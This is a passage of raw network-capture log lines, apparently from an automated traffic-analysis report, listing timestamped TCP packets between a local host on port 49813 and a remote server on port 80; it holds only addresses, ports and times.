                                                                                                                                                                          Dec 23, 2024 08:40:15.368763924 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.368927002 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.369520903 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.369550943 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.369568110 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.370147943 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.370202065 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.370244980 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.370907068 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.370955944 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.371061087 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.371614933 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.371656895 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.371701002 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.372330904 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.372432947 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.372442007 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.373054981 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.373102903 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.373194933 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.373801947 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.373845100 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.373877048 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.390774965 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.390820026 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.390909910 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.391072035 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.391206980 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.391268015 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.391782999 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.391839027 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.392106056 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.392287016 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.392337084 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.409004927 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.409086943 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.409158945 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.409223080 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.409274101 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.409332037 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.409852982 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.409965992 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.410017967 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.410568953 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.410676956 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.410727978 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.411334991 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.411458015 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.412067890 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.412081003 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.412122011 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.412146091 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.412753105 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.412873983 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.412925959 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.413508892 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.413634062 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.413696051 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.414284945 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.414335966 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.414383888 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.414952040 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.415065050 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.415678024 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.415724039 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.415771008 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.416248083 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.416419983 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.416521072 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.416570902 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.417304039 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.417387009 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.417437077 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.417926073 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.418014050 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.418648958 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.418700933 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.418752909 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.419382095 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.419430017 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.419521093 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.419564962 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.420100927 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.420211077 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.420258999 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.420789957 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.420922041 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.420972109 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.421510935 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.421653986 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.422234058 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.422261000 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.422399044 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.422976971 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.423026085 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.423073053 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.423721075 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.423767090 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.423830986 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.423871994 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.424431086 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.424540043 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.424583912 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.425152063 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.425235033 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.425280094 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.425896883 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.426001072 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.426224947 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.426642895 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.426738977 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.427362919 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.427408934 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.427450895 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.428097010 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.428145885 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.428198099 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.428242922 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.428817987 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.428926945 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.428977013 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.429605961 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.429730892 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.429779053 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.430288076 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.430382967 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.431019068 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.431066990 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.431126118 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.431782007 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.431830883 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.431858063 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.431904078 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.432516098 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.432595968 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.432643890 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.433223009 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.433346033 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.433393002 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.433950901 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.434045076 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.434227943 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.434655905 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.434756994 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.435390949 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.435437918 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.435508966 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.436125040 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.436171055 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.436233997 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.436275005 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.436851978 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.436963081 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.437009096 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.437542915 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.505927086 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.559947014 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.560065985 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.560251951 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.560292006 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.560390949 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.560439110 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.560985088 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.561084986 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.561135054 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.561697006 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.561821938 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.561861992 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.562500954 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.562571049 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.562619925 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.563191891 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.563298941 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.563335896 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.563925028 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.563965082 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.564035892 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.564677954 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.564795971 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.564856052 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.565392971 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.565653086 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.565701008 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.566109896 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.566262960 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.566303015 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.582829952 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.582938910 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.583043098 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.583199024 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.583327055 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.583391905 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.583899975 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.584142923 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.584193945 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.584235907 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.601244926 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.601268053 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.601321936 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.601421118 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.601540089 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.601576090 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.602118969 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.602160931 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.602236986 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.602829933 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.602870941 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.602916002 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.603570938 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.603672028 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.603692055 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.604307890 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.604353905 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.604403019 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.605031967 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.605076075 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.605124950 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.605839968 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.605854034 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.605885983 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.606473923 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.606518984 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.606580019 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.607223988 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.607266903 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.607299089 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.607938051 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.607985973 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.608059883 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.608681917 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.608764887 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.608791113 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.609410048 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.609456062 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.609502077 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.610152960 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.610198975 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.610235929 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.610876083 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.610922098 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.610958099 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.611630917 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.611677885 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.611722946 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.612341881 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.612395048 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.612443924 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.613078117 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.613117933 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.613173008 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.613817930 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.613859892 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.613895893 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.614553928 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.614598989 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.614609003 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.615252018 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.615293980 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.615366936 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.615991116 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.616031885 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.616040945 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.616734028 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.616781950 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.616813898 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.617434025 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.617472887 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.617542028 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.618161917 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.618199110 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.618247032 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.618875027 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.618921995 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.618985891 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.619642019 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.619744062 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.619787931 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.620362997 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.620407104 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.620486975 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.621073961 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.621182919 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.621231079 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.621881008 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.621959925 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.621962070 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.622541904 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.622594118 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.622631073 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.623363018 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.623404980 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.623478889 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.624017954 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.624064922 CET4981380192.168.2.9139.99.188.124
